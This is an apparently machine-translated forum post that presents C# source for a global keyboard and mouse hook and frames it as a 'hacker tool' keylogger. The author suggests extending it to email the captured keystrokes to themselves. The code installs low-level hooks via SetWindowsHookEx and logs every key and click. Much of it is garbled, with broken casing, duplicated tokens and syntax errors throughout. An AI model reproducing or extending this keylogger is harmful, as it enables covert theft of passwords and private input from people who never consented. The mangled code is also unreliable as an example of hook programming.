Inside the Code Project, "Global System Hooks In .Net", it can implement global hooks in .NET, but what i dispike there is an unmanaged DLL IN C That Is A Main Part of this Solution. This Unmanaged DLL IN C and a number of classes make it it complicated to integrate it in my own tiny application
And this is also "Processing Global Mouse and Keyboard Hooks In C #", unmanage is all .Net. Use it to capture the global keyboard and mouse events. The author found two exceptions: wh_keyboard_ll and wh_mouse_ll are global hooks that can be used in .NET.
So I watched the Soucecode, the running effect is very good, thus thinking about adding a modification to adding a multi-point function to make a hacker tool, the keyboard record program. Specifically, you can add the information that sends the recorded information to your own mailbox.
In order to facilitate everyone to learn, I will put the main source code (WGSCD prompts you to prohibit illegal use):
==================== Keyboard record (global HOOK application) ======================= MainForm.csusing System; using System.Windows.Forms; using System.IO; Namespace GlobalHookDemonamespace GlobalHookDemo {Class MainFormclass MainForm: System.Windows.Forms.Form {private System.Windows.Forms.Button buttonStart; private System.Windows.Forms. Button buttonStop; private System.Windows.Forms.Label labelMousePosition; private System.Windows.Forms.NotifyIcon notifyIcon1; private System.Windows.Forms.ContextMenu contextMenu1; private System.Windows.Forms.MenuItem menuItem1; private System.ComponentModel.IContainer components ; private System.Windows.Forms.ToolTip toolTip1; private System.Windows.Forms.TextBox textBox; public MainForm () {InitializeComponent ();} // THIS METHOD IS MAINTAINED BY THE FORM DESIGNER // DO NOT EDIT IT MANUALLY YOUR! Changes are likely to be lost void initializecomponent () {This.components = new System.ComponentModel.Container (); this.textBox = new System.Windows.Forms.TextBox (); this.labelMousePosition = new System.Windows.Forms.Label (); this.buttonStop = new System .Windows.forms.button (); this.buttonstart = new system.windows.Forms.Button (); this.notifyicon1 = new system.windows.Forms.notifyicon
this.menuItem1 = new System.Windows.Forms.MenuItem ();; (this.components); this.contextMenu1 = new System.Windows.Forms.ContextMenu () this.toolTip1 = new System.Windows.Forms.ToolTip (this .components; this.suspendlayout (); // // textbox // this.textbox.font = new system.drawing.font ("Courier New", 11f,
System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.World); this.textBox.Location = new System.Drawing.Point (8, 120); this.textBox.Multiline = true; this.textBox.Name = " TEXTBOX "; this.textbox.scrollbars =
System.windows.Forms.ScrollBars.Vertical; this.textBox.size = new system.drawing.size (336, 259); this.textbox.tabindex = 3; this.textbox.text = ""; /// LabelMousePosition // this.labelmouseposition.location = new system.drawing.point (8,
72); this.labelmouseposition.name = "labelmouseposition"; this.labelmouseposition.size = new system.drawing.size (221,
24); this.labelmouseposition.tabindex = 2; this.labelmouseposition.text = "labelmouseposition"; // // buttonstop // this.buttonstop.location = new system.drawing.point (136, 24); this.buttonstop. Name = "ButtonStop"; this.ButtonStop.size = new system.drawing.size (90, 25); this.ButtonStop.TabINDEX = 1; this.buttonstop.text = "stop"; this.buttonstop.click = new System.EventHandler (this.ButtonStopClick); // // buttonStart // this.buttonStart.Location = new System.Drawing.Point (8, 24); this.buttonStart.Name = "buttonStart"; this.buttonStart.Size = New system.drawing.size (90, 25); this.ButtonStart.Tabindex = 0; this.buttonstart.text = "start"; this.buttonstart.click = new system.eventhandler
(this.ButtonStartClick; // // Notifyicon1 // this.notifyicon1.contextMenu = this.contextMenu1; this.notifyicon1.text = "Mouse and keyboard monitor"; this.notifyicon1.visible = true; /// contextMenu1 // this.contextMenu1.Menuitems.Addrange (New
System.Windows.Forms.MenuItem [] {
THIS.MENUITEM1}; /// Menuitem1 // this.Menuitem1.index = 0; this.Menuitem1.text = "show"; /// mainform // this.autoscalebasesize = new system.drawing.size (6 , 14); this.clientsize = new system.drawing.size (392, 390); this.contextMenu = this.contextMenu1; this.controls.add (this.Text (this.labelmouseposition); This.Controls.add (this.buttonstop); this.Controls.add (this.buttonstart); this.name = "mainform"; this.text = "keyboard monitoring by free Pentium (WGSCD)"; this.Load = new System.EventHandler (this.MainFormLoad); this.ResumeLayout (false);} [STAThread] public static void Main (string [] args) {Application.Run (new MainForm ());} void ButtonStartClick (object sender, System .Eventargs e) {acth OOK.Start ();} void buttonstopclick (Object sender, system.eventargs e) {acthook.stop ();
Messagebox.show ("Save Resultl?"); OpenFiledialog OFD = New OpenFiledialog (); if (OFD.SHOWDIALOG () == DialogResult.ok)
{
// add you code to save the record results!
}
} UserActivityHook actHook; void MainFormLoad (object sender, System.EventArgs e) {notifyIcon1.Icon = this.Icon; actHook = new UserActivityHook (); // crate an instance // hang on events actHook.OnMouseActivity = new MouseEventHandler (MouseMoved) ; actHook.KeyDown = new KeyEventHandler (MyKeyDown); actHook.KeyPress = new KeyPressEventHandler (MyKeyPress); actHook.KeyUp = new KeyEventHandler (MyKeyUp);} public void MouseMoved (object sender, MouseEventArgs e) {labelMousePosition.Text = String.Format ("x = {0} y = {1}", EX, EY); if (e.clicks> 0) Logwrite ("MouseButton -" E.Button.tostring ());} public void mykeydown (Object Sender KeyEventArgs e) {logwrite ("keydown -" E.keyData.toString ());} public void mykeypress (Object sender, keypressEventArgs e) { Logwrite ("KeyPress -" E.Keychar); public void mykeyup (Object sender, keyeventargs e) {logwrite ("keyup -" E.KeyData.tostring ());} private void logwrite (String txt) {TextBox .Appendtext (txt environment.newline); TextBox.SelectionStart = TextBox.Text.Length;} ------------------ UserActivityHOK.CS ------ ------------------------------------------ 'UserActivityHook.csusing system; Using system.Runtime.InteropServices; using system.threading; using system.windows.form;
Namespace GlobalHookDemonamespace GlobalHookDemo {///
// Declare KeyboardHookProcedure as HookProc type // Declare wrapper managed POINT Class .class [StructLayout (LayoutKind.Sequential)] public Class POINTclass POINT {public int x; public int y;}.. // Declare wrapper managed MouseHookStruct Class .class. [StructLayout (LayoutKind.Sequential)] public Class MouseHookStructclass MouseHookStruct {public POINT pt; public int hwnd; public int wHitTestCode; public int dwExtraInfo;}. // Declare wrapper managed KeyboardHookStruct Class .class [StructLayout (LayoutKind.Sequential)] public Class KeyboardHookStructclass KeyboardHookStruct {public int vkCode;. // Specifies a virtual-key code The code must be a value in the range 1 to 254. public int scanCode;. // Specifies a hardware scan code for the key public int flags; // Specifies the extended-key flag, event-injected flag, context code, and transition-state flag public int time;.. // Specifies the time stamp for this message public int dwExtraInfo; // Specifies extra information associated with the message} //. Import for SetWindowsHookEx function. () function. // Use this function to () function to install a hook. [DllImport ( "user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] public static extern int SetWindowsHookEx (int IDHOOK, HOOKPROC LPFN, INTPTR HINSTANCE, INT THREADID);
// Import for UnhookWindowsHookEx. // Call this Function to () function to uninstall the hook. [DllImport ( "user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] public static extern bool UnhookWindowsHookEx (int idHook );. // Import for CallNextHookEx // Use this function to () function to pass the hook information to next hook procedure in chain [DllImport ( "user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall). ] public static extern int CallNextHookEx (int idHook, int nCode, Int32 wParam, IntPtr lParam);. public void Start () {// install Mouse hook if (hMouseHook == 0) {// Create an instance of HookProc MouseHookProcedure = new HookProc (MousehookProc); hmousehook = setwindowshookex (wh_mouse_ll, mousehookprocedure, Marshal .GetHINSTANCE (Assembly.GetExecutingAssembly () GetModules () [0].), 0); // If SetWindowsHookEx fails if (hMouseHook == 0). {Stop (); throw new Exception ( "SetWindowsHookEx failed.");} } // install keyboard hook if (hkeyboardhook == 0) {keyboardhookprocedure = new hookProc (keyboardhookProc); HKEYBOARDHOOK =
SetWindowsHookEx (WH_KEYBOARD_LL, KeyboardHookProcedure, Marshal.GetHINSTANCE (Assembly.GetExecutingAssembly () GetModules () [0]), 0.); // If SetWindowsHookEx fails if (hKeyboardHook == 0) {Stop ();. Throw new Exception ( " SetWindowsHookEx ist failed ");.}}} public void Stop () {bool retMouse = true; bool retKeyboard = true; if (hMouseHook = 0) {retMouse = UnhookWindowsHookEx (hMouseHook);! hMouseHook = 0;} if (hKeyboardHook! = 0) {retKeyboard = UnhookWindowsHookEx (hKeyboardHook); hKeyboardHook = 0;}.! // If UnhookWindowsHookEx fails if ((retMouse && retKeyboard)) throw new Exception ( "UnhookWindowsHookEx fa iled ");.} private const int WM_MOUSEMOVE = 0x200; private const int WM_LBUTTONDOWN = 0x201; private const int WM_RBUTTONDOWN = 0x204; private const int WM_MBUTTONDOWN = 0x207; private const int WM_LBUTTONUP = 0x202; private const int WM_RBUTTONUP = 0x205; private const INT WM_MBUTTONUP = 0x208; Private const Int wm_lbuttondblclk = 0x203; private const Int wm_rbuttondblclk = 0x206; private const INT WM_MBUTTONDBLCLK = 0x209;
private int MouseHookProc (int nCode, Int32 wParam, IntPtr lParam) {// if ok and someone listens to our events if (! (nCode> = 0) && (OnMouseActivity = null)) {MouseButtons button = MouseButtons.None; switch ( wParam) {case WM_LBUTTONDOWN: // case WM_LBUTTONUP: // case WM_LBUTTONDBLCLK: button = MouseButtons.Left; break; case WM_RBUTTONDOWN: // case WM_RBUTTONUP: // case WM_RBUTTONDBLCLK: button = MouseButtons.Right; break;} int clickCount = 0 ; If (Button! = Mousebuttons.none) if (wparam == wm_lbuttondblclk || wparam == wm_rbuttondblclk) Clickcount = 2; else clickcount = 1; // Marshall The Data from . Callback MouseHookStruct MyMouseHookStruct = (MouseHookStruct) Marshal.PtrToStructure (lParam, typeof (MouseHookStruct)); MouseEventArgs e = new MouseEventArgs (button, clickCount, MyMouseHookStruct.pt.x, MyMouseHookStruct.pt.y, 0); OnMouseActivity (this, e } Return CallNexthooKex (HMousehook, Ncode, WPARAM, LPARAM);
} // The ToAscii Function translates () function translates the specified virtual-key code and keyboard state to the corresponding character or characters. The Function translates () function translates the code using the input language and physical keyboard layout identified by the keyboard layout handle . [DllImport ( "user32")] public static extern int ToAscii (int uVirtKey, // [in] Specifies the virtual-key code to be translated. int uScanCode, // [in] Specifies the hardware scan code of the key to Be translated. The high-order bit of this value is set if the key is up (not press). Byte [] lpbkeystate, // [in] PoinTer to a 256-byte array That Contains The Current Keyboard State. Each Element IF THE IS THE IS TOGGLED ON. The Low Bit, IF Set, INDICES THAT, IF SET, INDICES THAT, IF IS. () Fun ction, only the toggle bit of the CAPS LOCK key is relevant. The toggle state of the NUM LOCK and SCROLL LOCK keys is ignored. byte [] lpwTransKey, // [out] Pointer to the buffer that receives the translated character or characters. int fuState);. // [in] Specifies whether a menu is active This parameter must be 1 if a menu is active, or 0 otherwise // The GetKeyboardState function copies () function copies the status of the 256 virtual keys to the. Specified buffer. [DLLIMPORT ("User32")] public static extern int getKeyboardState (byte [] pbkeystate; private const INT WM_KEYDOWN = 0x100;
private const int WM_KEYUP = 0x101; private const int WM_SYSKEYDOWN = 0x104; private const int WM_SYSKEYUP = 0x105; private int KeyboardHookProc (int nCode, Int32 wParam, IntPtr lParam) {// it was ok and someone listens to events if ((nCode> !!! = 0) && (KeyDown = null || KeyUp = null || KeyPress = null)) {KeyboardHookStruct MyKeyboardHookStruct = (KeyboardHookStruct) Marshal.PtrToStructure (lParam, typeof (KeyboardHookStruct)); // raise KeyDown if (KeyDown! = null && (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)) {Keys keyData = (Keys) MyKeyboardHookStruct.vkCode; KeyEventArgs e = new KeyEventArgs (keyData); KeyDown (this, e);} // raise KeyPress if ( KeyPress! = Null && wparam == wm_keydown) {byte [] ke yState = new byte [256]; GetKeyboardState (keyState); byte [] inBuffer = new byte [2]; if (ToAscii (MyKeyboardHookStruct.vkCode, MyKeyboardHookStruct.scanCode, keyState, inBuffer, MyKeyboardHookStruct.flags) == 1) {KeyPressEventArgs E = New KeyPressEventArgs ((char) inbuffer [0]); keypress (this, e);
}} // raise KeyUp if (KeyUp = null && (wParam == WM_KEYUP || wParam == WM_SYSKEYUP)!) {Keys keyData = (Keys) MyKeyboardHookStruct.vkCode; KeyEventArgs e = new KeyEventArgs (keyData); KeyUp (this, e);}} Return CallNexthookex (HKEyboardHook, Ncode, WPARAM, LPARAM);}}}}} reference: hook API